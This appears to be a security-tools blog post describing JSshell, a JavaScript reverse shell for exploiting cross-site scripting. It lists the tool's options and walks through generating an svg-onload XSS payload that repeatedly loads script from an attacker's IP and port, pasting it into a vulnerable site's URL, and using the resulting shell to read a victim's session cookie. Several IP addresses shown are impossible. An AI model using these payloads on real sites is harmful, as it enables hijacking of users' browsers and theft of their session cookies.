Exploitation Tools

JSshell – JavaScript Reverse Shell For Exploiting XSS Remotely

June 8, 2020
3 Min Read
JSshell - A JavaScript Reverse Shell For Exploiting XSS Remotely Or Finding Blind XSS, Working With Both Unix And Windows OS

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JSshell – a JavaScript reverse shell. This using for exploit XSS remotely, help to find blind XSS, …
This tool works for both Unix and Windows operating system and it can running with both Python 2 and Python 3. This is a big update of JShell – a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn’t require Netcat (different from other javascript shells).

Usage

Generate JS reverse shell payload: -g

Set the local port number for listening and generating payload (By default, it will be set to 4848): -p

Set the local source address for generating payload (JSshell will detect your IP address by deault): -s

Set timeout for shell connection (if the user exit page, the shell will be pause, and if your set the timeout, after a while without response, the shell will automatically close): -w

Execute a command when got the shell: -c

Example usages:

  • js.py
  • js.py -g
  • js.py -p 1234
  • js.py -s 48.586.1.23 -g
  • js.py -c "alert(document.cookie)" -w 10

An example for running JSshell:
This is an example for step-by-step to exploit remote XSS using JSshell.
First we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:

~# whoami
root
~# ls
README.md   js.py
~# python3 js.py -g -w 20
    __
  |(_  _ |_  _  |  |
_|__)_> | |(/_ |  |
                      v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...

Now paste this payload to the website (or URL) that vulnerable to XSS:
https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>
Access the page and now we will see that we have got the reverse JS shell:

    __
  |(_  _ |_  _  |  |
_|__)_> | |(/_ |  |
                      v1.0
Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>
Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help

JSshell using javascript code as shell commands. Also supports some commands:
help This help
exit, quit Exit the JS shell
$

Now let’s execute some commands:

$ var test = 'hacked'
$ alert(hacked)
$

And the browser got an alert: hacked

$ prompt(document.cookie)
$

And the browser print the user cookies: JSESSION=3bda8...

$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#

And we quited!

Author
This created by shelld3v, hacking at HackOne and Bugcrowd with a secret account! This tool is inspired by JShell (s0med3v), using the BruteLogic payload. JSshell 2.0 will has some new features that include:

  • More payloads for <img>, <script>, …
  • Some shortcut commands: print the current session, domain, endpoint, …
  • Better GUI
    …


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